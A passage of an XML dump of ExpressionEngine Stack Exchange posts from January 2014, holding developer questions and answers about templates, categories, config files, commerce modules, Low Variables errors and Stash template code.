  <row Id="18287" PostTypeId="2" ParentId="18285" CreationDate="2014-01-11T16:42:28.823" Score="5" Body="&lt;p&gt;Or set a $env_global['myjs'] in the config.prod.php with the analytics code ID number and leave that var blank in the config.dev.php then just {myjs} in the template and it only outputs the ID in production.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2014-01-11T16:42:28.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18288" PostTypeId="1" CreationDate="2014-01-11T18:33:50.713" Score="0" ViewCount="99" Body="&lt;p&gt;I have this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:login_form return=&quot;files/browse&quot; form_class=&quot;form default&quot;}&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;username&quot; value=&quot;&quot; placeholder=&quot;Username&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; value=&quot;&quot; placeholder=&quot;Password&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Login&quot; class=&quot;btn dark&quot;&amp;gt;&#xA;    {/exp:member:login_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But no matter what, when the form is submitted, it returns the page /site/thanks, not what is specified under &quot;return&quot;... i just don't get it??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What gives?&lt;/p&gt;&#xA;" OwnerUserId="1525" LastEditorUserId="1525" LastEditDate="2014-01-11T19:13:11.317" LastActivityDate="2014-01-11T19:13:11.317" Title="exp:member:login returns wrong page" Tags="|members|login|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18289" PostTypeId="1" AcceptedAnswerId="18323" CreationDate="2014-01-11T22:33:29.007" Score="1" ViewCount="94" Body="&lt;p&gt;I want to use different templates for my categories. E.g. there are 4 templates (t1, t2, t3, t4) and I want to assign them to my categories like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dogs (t1)&lt;br /&gt;&#xA;- small dogs (t1)&lt;br /&gt;&#xA;- big dogs (t1)&lt;br /&gt;&#xA;Cats (t2)&lt;br /&gt;&#xA;Fishes (t3)&lt;br /&gt;&#xA;- small fishes (t3)&lt;br /&gt;&#xA;- big fishes (t4)&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now all categories point to one template which is specified in the categories-tag like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories ...}&#xA;&amp;lt;a href=&quot;{path={my_template_group}/categoriesTemplate}&quot;&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a lot of categories, so I want to do it systematically. I cannot list all the categories and manually link them to different templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any idea!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT in reaction to Phil&lt;br /&gt;&#xA;The reason why I want to do this to keep the example above: For &quot;Dogs&quot; I have a LOT of content: How to feed them, the funniest name, how to make them obey etc. So I need a template with a lot of lists, links, entries ... For &quot;Cats&quot; I only have some funny pics, so I need a template just with a gallery. And so on.&lt;/p&gt;&#xA;" OwnerUserId="780" LastEditorUserId="780" LastEditDate="2014-01-13T19:58:01.540" LastActivityDate="2014-01-13T19:58:01.540" Title="Use different templates for different categories" Tags="|templates|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18290" PostTypeId="2" ParentId="18289" CreationDate="2014-01-11T23:58:28.370" Score="1" Body="&lt;p&gt;you could use the {category_url_title} variable in the path for example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{path='template_group/{category_url_title}'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will need to manually create each sub template within the group but if I am reading your question correctly that is what it sounds like you are trying to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question might be why? What is it you are trying to accomplish surely there is an easier way than creating a separate template for each category. Whats the reasoning behind the separate templates maybe I can help you streamline what you are trying to accomplish.&lt;/p&gt;&#xA;" OwnerUserId="1283" LastActivityDate="2014-01-11T23:58:28.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18291" PostTypeId="1" AcceptedAnswerId="18295" CreationDate="2014-01-12T11:58:22.887" Score="0" ViewCount="75" Body="&lt;p&gt;I'm making a web store with Exp-resso Store and want to have a product category listing on the left side of the web page. The categories are nested four levels. I want the user to click a category to reveal the sub categories. Then the user has to click again to reveal the sub categories of the sub category. Is this even possible with EE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternate solution, I'm thinking using JS to do everything client side. The upside here is that it's much faster for the categories to reveal/load. (I want to have the first level listed on a separate menu on the top of the website. Is it possible to only list level 2|3|4?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if it is possible to do easily with EE I'd love to know it for later use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I've looked at this: &lt;a href=&quot;http://420creative.com/blog/entry/showing-child-categories-based-on-hierarchy-in-expression-engine&quot; rel=&quot;nofollow&quot;&gt;http://420creative.com/blog/entry/showing-child-categories-based-on-hierarchy-in-expression-engine&lt;/a&gt; But this isn't easier than making everything work with JS...&lt;/p&gt;&#xA;" OwnerUserId="2595" LastActivityDate="2014-01-12T17:54:27.447" Title="How to display category children only?" Tags="|categories|nesting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18292" PostTypeId="2" ParentId="2375" CreationDate="2014-01-12T15:19:28.567" Score="0" Body="&lt;p&gt;You can edit the &lt;code&gt;/themes/forum_themes/developer/forum_index/forum_homepage.html&lt;/code&gt; file. I put a banner, for example, between these code snippets:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{include:top_bar}&#xA;&amp;lt;img src=&quot;/uploads/forum-banner.png&quot; alt=&quot;&quot; /&amp;gt;&#xA;&amp;lt;div class=&quot;fm-header-wrapper&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only the home page gets this banner. All forum themes, as near as I can tell, have this file.&lt;/p&gt;&#xA;" OwnerUserId="221" LastActivityDate="2014-01-12T15:19:28.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18293" PostTypeId="2" ParentId="5398" CreationDate="2014-01-12T15:36:02.250" Score="1" Body="&lt;p&gt;I got CKEditor working; you can see my answer here: &lt;a href=&quot;https://expressionengine.stackexchange.com/a/17278/221&quot;&gt;https://expressionengine.stackexchange.com/a/17278/221&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lisa's right: it's not WYGWAM, but since WYGWAM is, at heart, CKEditor, you can get CKEditor in there. So if you have WYGWAM, you can use its CKEditor files, rather than duplicating code.&lt;/p&gt;&#xA;" OwnerUserId="221" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-01-12T15:36:02.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18294" PostTypeId="1" CreationDate="2014-01-12T16:58:52.340" Score="2" ViewCount="314" Body="&lt;p&gt;I am running expression engine on MSM at the moment. I have got the deployment and ebvironments working properly, my only issues is that there are literally about 30 different file upload paths all together on the whole site. The site environments are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Local&lt;/li&gt;&#xA;&lt;li&gt;Staging&lt;/li&gt;&#xA;&lt;li&gt;Live&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The idea would be that I have the upload paths set for the different environments but this is not working at all on the config_bootstrap.php file in this area:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ('local' === NSM_ENV) { &#xA;&#xA;    // Environment DB configuration&#xA;    $env_db_config = array(&#xA;        'hostname' =&amp;gt; 'localhost',&#xA;        'username' =&amp;gt; 'root',&#xA;        'password' =&amp;gt; 'root',&#xA;        'database' =&amp;gt; 'ngrto-stage2',&#xA;    );&#xA;&#xA;&#xA;    // Environment global vars&#xA;    // These will be available in youre templates&#xA;    // 'global:' is not required, it's just a naming convention we use @Newism&#xA;    // Example: 'global:cm_subscriber_list_slug' will be available in templates as {global:cm_subscriber_list_slug}&#xA;    // Overrides anything in $default_global_vars&#xA;    $env_global_vars = array(&#xA;        'global:cm_subscriber_list_slug' =&amp;gt; ''&#xA;    );&#xA;&#xA;    // Environment config variables&#xA;    // Overrides anything in $env_config&#xA;    $env_config = array(&#xA;&#xA;        'upload_preferences' =&amp;gt; array(&#xA;            1 =&amp;gt; array(                                                            // ID of upload destination&#xA;                'name'        =&amp;gt; 'Staging Image Uploads',                          // Display name in control panel&#xA;                'server_path' =&amp;gt; '/home/user/example.com/staging/images/uploads/', // Server path to upload directory&#xA;                'url'         =&amp;gt; 'http://staging.example.com/images/uploads/'      // URL of upload directory&#xA;            )&#xA;        )&#xA;    );&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone think why this would not work and a better solution to it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="1444" LastActivityDate="2014-02-06T11:04:10.783" Title="How do I create new image upload destination via config bootstrap file?" Tags="|multi-site-manager|config|uploads|image-path|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18295" PostTypeId="2" ParentId="18291" CreationDate="2014-01-12T17:54:27.447" Score="2" Body="&lt;p&gt;A plugin like Child Categories may help you with this:&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/child-categories&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/child-categories&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2014-01-12T17:54:27.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18297" PostTypeId="1" CreationDate="2014-01-12T20:59:18.700" Score="0" ViewCount="65" Body="&lt;p&gt;We've setup the simple commerce module in Exp Eng v2.7.2 - Build Date: 20131008 and I've successfully purchased some subscription items through PayPal using live, actual transactions. Everything seems to be working okay except that the Member Group in Exp Eng is not being changed upon purchase as was intended. Notification emails go out and the transaction shows up on my own PayPal account as &quot;Unclaimed&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it necessary to wait until the transaction is fully completed before the Member Group is updated? Will we have to do the member group change manually? Is there something off with my IPN setup? How do you view IPN responses in the Exp Eng control panel (or elsewhere)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="505" LastActivityDate="2014-03-28T20:13:32.353" Title="Why does simple commerce module not update member group upon successful completion of the transaction?" Tags="|ecommerce|paypal|simple-commerce|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18298" PostTypeId="2" ParentId="17908" CreationDate="2014-01-12T21:13:11.957" Score="0" Body="&lt;p&gt;We are using solspace User and are in the process of implementing the Simple Commerce Module. User uses the same member groups as usual in Exp Eng so our plan is to move members into a new member group (i.e. &quot;Subscribers&quot;) when they purchase a subscription item in SCM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not concerned with look and feel then you can just as easily use the Exp Eng built-in member functions that work just as well instead of purchasing, installing, and setting up templates with User.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've run into a snag with SCM (posted here: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/18297/why-does-simple-commerce-module-not-update-member-group-upon-successful-completi&quot;&gt;Why does simple commerce module not update member group upon successful completion of the transaction?&lt;/a&gt; ) where the member group is not automatically updating upon purchase but otherwise this seems like a good plan and seems to be working so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other part of this of course is that your page templates need to have code in them that checks a member's group and displays content accordingly...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;{if member_group == '5'}some content{/if}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="505" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-01-12T21:13:11.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18299" PostTypeId="1" AcceptedAnswerId="18324" CreationDate="2014-01-12T21:27:11.517" Score="0" ViewCount="433" Body="&lt;p&gt;I'm using EE native simple search and in the results template have the following at the opening tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:search_results limit=&quot;16&quot;}&#xA;{if count==&quot;1&quot;}&#xA;&amp;lt;h1&amp;gt;Search Results&amp;lt;/h1&amp;gt;&#xA;&amp;lt;p&amp;gt;You searched for &amp;lt;strong&amp;gt;{exp:search:keywords}&amp;lt;/strong&amp;gt;.&amp;lt;/p&amp;gt;&#xA;&amp;lt;ul class=&quot;product-grid&quot;&amp;gt;&#xA;{/if}&#xA;&amp;lt;li&amp;gt;...&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the results shows like this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XZjns.png&quot; alt=&quot;Search results screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The string looks to be the same for each search with results and doesn't match the URL string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The no_results page seems to output correctly...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xVmSl.png&quot; alt=&quot;No results search output&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else come across this?&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2014-01-13T14:35:51.480" Title="{exp:search:keywords} doesn't show keywords used in search" Tags="|simple-search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18302" PostTypeId="1" AcceptedAnswerId="18512" CreationDate="2014-01-13T00:46:42.610" Score="0" ViewCount="49" Body="&lt;p&gt;In the process of updating a site from from EE v2.6.1 to EE 2.7.3, the update stops partway through with this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Webmaster name or email missing from Email Configuration settings.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Has anyone else encountered this error? Does anyone have any advice on how to work around it? &lt;/p&gt;&#xA;" OwnerUserId="1109" LastActivityDate="2014-01-19T06:14:07.827" Title="Update failure: &quot;Webmaster name or email missing from Email Configuration settings.&quot;" Tags="|updating|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="18303" PostTypeId="1" CreationDate="2014-01-13T03:26:31.603" Score="1" ViewCount="70" Body="&lt;p&gt;Is there any way to use Matrix on the front end via a channel form and have 4 rows pre-populated for new entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, we want to have a 'milestone' date area with one column with the milestone description and another column for the milestone date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each new job has a minimum of 4 milestones: &lt;code&gt;Concept, Content, Files, Delivery&lt;/code&gt;. Hence, wanting to start with a default set of 4 rows for new entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="313" LastActivityDate="2014-04-13T13:21:53.707" Title="Default Matrix Rows Showing In Channel Form" Tags="|matrix|safecracker|pixelandtonic|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18304" PostTypeId="1" AcceptedAnswerId="18305" CreationDate="2014-01-13T04:15:33.773" Score="0" ViewCount="96" Body="&lt;p&gt;When I view the Synchronize Templates page, some of my templates consistently show &quot;No file exists&quot; instead of the file edit date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While reviewing permissions, I discovered the files do indeed exist. Further, the files get updated upon editing and saving the template within EE admin panel. If I check the box to force a sync, the reloaded Synchronize Templates page still shows the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The templates seem to work fine aside from the no file exists error.&lt;/p&gt;&#xA;" OwnerUserId="1335" LastActivityDate="2014-01-13T04:15:33.773" Title="Why do only certain templates show &quot;No file exists&quot; on Synchronize Templates page?" Tags="|bug|sync|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18305" PostTypeId="2" ParentId="18304" CreationDate="2014-01-13T04:15:33.773" Score="0" Body="&lt;p&gt;Upon tracing the error in EE 2.7.2, I found it to be caused by LL. 4265–4267 in system/expressionengine/controllers/cp/design.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (strlen($template) &amp;gt; 50)&#xA;{&#xA;    continue;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the template name is longer than 50 characters (including an extension like &quot;.html&quot;), the next line does not set &lt;code&gt;$file_date&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$file_date = get_file_info($basepath.'/'.$group.'/'.$template);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This leads to the error being generated in system/expressionengine/views/design/sync_confirm.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$file_edit = ($template['file_exists'] === FALSE) ? lang('no_file_exists') : $template['file_edit'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not sure why the 50 character arbitrary limit exists in design.php, but it seems to me that limit should be enforced at the points a user sets the template name in the first place. I filed a &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20054&quot; rel=&quot;nofollow&quot;&gt;bug report&lt;/a&gt; on this issue, so perhaps EllisLab will enlighten me on the purpose of this code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, I don't see anything in &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/edit_template.html&quot; rel=&quot;nofollow&quot;&gt;the documentation&lt;/a&gt; regarding template name length. All it says is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Template Name&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Template names may only contain alpha-numberic characters and no&#xA;  spaces. Since template names are typically used as part of a URL they&#xA;  must follow the standard URL naming rules.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So for now, the solution is to limit template names to less than 50 characters. Longer names seem to cause no issues aside from the error on the sync screen, but I haven't traced all the code to verify errors don't occur elsewhere.&lt;/p&gt;&#xA;" OwnerUserId="1335" LastActivityDate="2014-01-13T04:15:33.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18306" PostTypeId="1" AcceptedAnswerId="18308" CreationDate="2014-01-13T04:45:47.897" Score="0" ViewCount="123" Body="&lt;p&gt;Has anyone come across this error with Low Variables?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to create a new variable (the first one for this install):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1364&#xA;&#xA;Field 'variable_data' doesn't have a default value&#xA;&#xA;INSERT INTO `exp_global_variables` (`variable_name`, `site_id`) VALUES ('lv_test', '1')&#xA;&#xA;Filename: third_party/low_variables/mcp.low_variables.php&#xA;&#xA;Line Number: 1135&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This was trying to get create a textarea filed. Get the same error when trying to create an Assets field too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1364&#xA;&#xA;Field 'variable_data' doesn't have a default value&#xA;&#xA;INSERT INTO `exp_global_variables` (`variable_name`, `site_id`) VALUES ('lv_assets', '1')&#xA;&#xA;Filename: third_party/low_variables/mcp.low_variables.php&#xA;&#xA;Line Number: 1135&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EE 2.7.2&#xA;LV 2.4.0&lt;/p&gt;&#xA;" OwnerUserId="313" LastEditorUserId="313" LastEditDate="2014-01-13T06:46:46.803" LastActivityDate="2014-01-13T07:55:22.927" Title="PHP error when using Low Variables 2.4.0" Tags="|ee2|low-variables|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18307" PostTypeId="1" CreationDate="2014-01-13T05:43:47.650" Score="1" ViewCount="141" Body="&lt;p&gt;Is there a hook in ExpressionEngine that triggers when any one member is moved from group to another?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-01-24T14:55:27.227" Title="Hooks when a member is moved to another member group" Tags="|hook|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18308" PostTypeId="2" ParentId="18306" CreationDate="2014-01-13T07:55:22.927" Score="0" Body="&lt;p&gt;It's a known issue in LV 2.4.0 with some MySQL environments. Email me at hi at gotolow dot com for a patch. It will be fixed in 2.4.1.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-01-13T07:55:22.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18309" PostTypeId="1" AcceptedAnswerId="18310" CreationDate="2014-01-13T08:29:05.143" Score="1" ViewCount="49" Body="&lt;p&gt;We need to export the date of orders into a CRM and it needs to be in the following format:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2011-04-15T17:58:41.000000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current {order_date} is exported in unix format, is it easy to change this or is there any other way I can get around this?&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2014-01-13T09:13:06.423" Title="Expresso store - {order_date} in 2011-04-15T17:58:41.000000 format" Tags="|expresso-store|date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18310" PostTypeId="2" ParentId="18309" CreationDate="2014-01-13T09:13:06.423" Score="2" Body="&lt;p&gt;Turns out it supports the format=&quot;&quot; parameter as per ExpressionEngine's documentation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{order_date format=&quot;%D, %F %d, %Y - %g:%i:%s&quot;}&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2014-01-13T09:13:06.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18311" PostTypeId="1" AcceptedAnswerId="18348" CreationDate="2014-01-13T09:42:10.653" Score="1" ViewCount="69" Body="&lt;p&gt;I am not very used to stash.&#xA;My code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;moebel&quot; &#xA;    orderby=&quot;date&quot; &#xA;    sort=&quot;desc&quot; &#xA;    dynamic=&quot;off&quot; &#xA;    disable=&quot;member_data|trackbacks|pagination&quot;&#xA;}&#xA;    &amp;lt;a href=&quot;{path=moebel/{url_title}}&quot; {if url_title == '{segment_2}' OR segment_2 == '' AND count == '1'}class=&quot;active&quot;{/if} &amp;gt;{count}&amp;lt;/a&amp;gt;&#xA;&#xA;{if count == '1'}&#xA;    {exp:stash:set name=&quot;myurltitle&quot;}{url_title}{/exp:stash:set}&#xA;{/if}                   &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does not work because the variable 'myurltitle' will always be the last url_title of the 10 entries in the channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I realize this? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="644" LastActivityDate="2014-01-14T00:34:23.910" Title="Stash: How can I get the 'url_title' of the first channel entry?" Tags="|stash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18312" PostTypeId="2" ParentId="18303" CreationDate="2014-01-13T11:31:09.033" Score="1" Body="&lt;p&gt;I think if you set the minimum rows to 4 in the matrix field config it will display 4, at least I think it works like that in the cp.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-01-13T11:31:09.033" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18315" PostTypeId="1" AcceptedAnswerId="19821" CreationDate="2014-01-13T12:31:12.870" Score="2" ViewCount="585" Body="&lt;p&gt;I've got EE running in a subfolder on a dev environment, such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://website.com/folder_name/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But somehow, the folder keeps being removed from the URL for certain things. E.g. the &quot;Home&quot; icon on the home button in EE errors, because the URL looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/themes/cp_themes/default/images/home_icon.png&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/folder_name/themes/cp_themes/default/images/home_icon.png&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I fix this? There is no .htaccess file at the moment&lt;/p&gt;&#xA;" OwnerUserId="362" LastEditorUserId="33" LastEditDate="2014-01-13T15:20:38.560" LastActivityDate="2014-02-27T11:32:20.123" Title="EE in subfolder not working correctly" Tags="|url|path|themes|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18316" PostTypeId="1" CreationDate="2014-01-13T12:38:45.013" Score="1" ViewCount="80" Body="&lt;p&gt;No, it's actually not as convoluted as it sounds... ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Got two channels: News, and News Commentary. News entries are published multiple times per day; News Commentary is published once a week and covers 5-10 News entries from that week.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;News has a &lt;code&gt;news__body&lt;/code&gt; field, a &lt;code&gt;news__images&lt;/code&gt; Matrix of images (containing the usual suspect columns of &lt;code&gt;file&lt;/code&gt;, &lt;code&gt;caption&lt;/code&gt;, etc), and a &lt;code&gt;news__credits&lt;/code&gt; Matrix field with some plain text columns. It uses image shortcodes (those &lt;code&gt;{image_1}&lt;/code&gt; / &lt;code&gt;{image_2}&lt;/code&gt; things) in the &lt;code&gt;news__body&lt;/code&gt; field to insert images from the &lt;code&gt;news__images&lt;/code&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;News Commentary basically just has a &lt;code&gt;commentary__content&lt;/code&gt; Matrix field, which has a &lt;code&gt;related-news-article&lt;/code&gt; Playa column linking each row to a News entry, as well as a &lt;code&gt;commentary&lt;/code&gt; textarea for the commentary portion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The single-entry page for News Commentary displays a list (the &lt;code&gt;commentary__content&lt;/code&gt; matrix). Each list item should display the related News entry's &lt;code&gt;news__body&lt;/code&gt; and &lt;code&gt;news__credits&lt;/code&gt; fields (with images in position), with the commentary following.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got much of it working, but seem &lt;strong&gt;unable to get output from the News Commentary -&gt; related News entry -&gt; &lt;code&gt;news__images&lt;/code&gt; or &lt;code&gt;news__credits&lt;/code&gt; field.&lt;/strong&gt; I get the &lt;code&gt;news__body&lt;/code&gt; content with &lt;code&gt;{image_1}&lt;/code&gt; shortcodes showing in the text, followed by the &lt;code&gt;commentary&lt;/code&gt; content - no &lt;code&gt;news__credits&lt;/code&gt; or replaced image shortcodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following is my (simplified) template. It contains both the &lt;code&gt;{exp:stash:set_list}&lt;/code&gt; and &lt;code&gt;{exp:stash:get_list}&lt;/code&gt; loops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stash set_list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;news-commentary&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:channel:entries channel=&quot;news-commentary&quot; require_entry=&quot;yes&quot;}&#xA;        {stash:commentary__title}{title}{/stash:commentary__title}&#xA;        {stash:news-commentary__entry_id}{entry_id}{/stash:news-commentary__entry_id}&#xA;        {exp:stash:set_list:commentary__content name=&quot;commentary__content&quot; context=&quot;entry_{entry_id}&quot;     parse_tags=&quot;yes&quot;}&#xA;            {commentary__content} {!-- Matrix --}&#xA;                {stash:row_count}{row_count}{/stash:row_count}&#xA;                {related-news-article var_prefix=&quot;related_article&quot;} {!-- Playa --}&#xA;&#xA;                    {stash:news__title}{related_article:title}{/stash:news__title}&#xA;                    {stash:news__entry_id}{related_article:entry_id}{/stash:news__entry_id}&#xA;&#xA;                    {related_article:news__images var_prefix=&quot;image_matrix&quot;} {!-- Matrix --}&#xA;                        {exp:stash:set name=&quot;image_{image_matrix:row_count}&quot; type=&quot;snippet&quot;}&#xA;                            &amp;lt;img src=&quot;{image_matrix:file}&quot;&amp;gt;&#xA;                        {/exp:stash:set}&#xA;                    {/related_article:news__images} {!-- END Matrix --}&#xA;&#xA;                    {!-- Parse to replace image shortcodes with images - theoretically --}&#xA;                    {exp:stash:parse parse_vars=&quot;yes&quot; process=&quot;end&quot;}&#xA;                        {stash:news__body}{related_article:news__body}{/stash:news__body}&#xA;                    {/exp:stash:parse}&#xA;&#xA;                    {exp:stash:set_list:news__credits name=&quot;news__credits&quot; context=&quot;entry_{entry_id}&quot; parse_tags=&quot;yes&quot;}&#xA;                        {related_article:news-credits 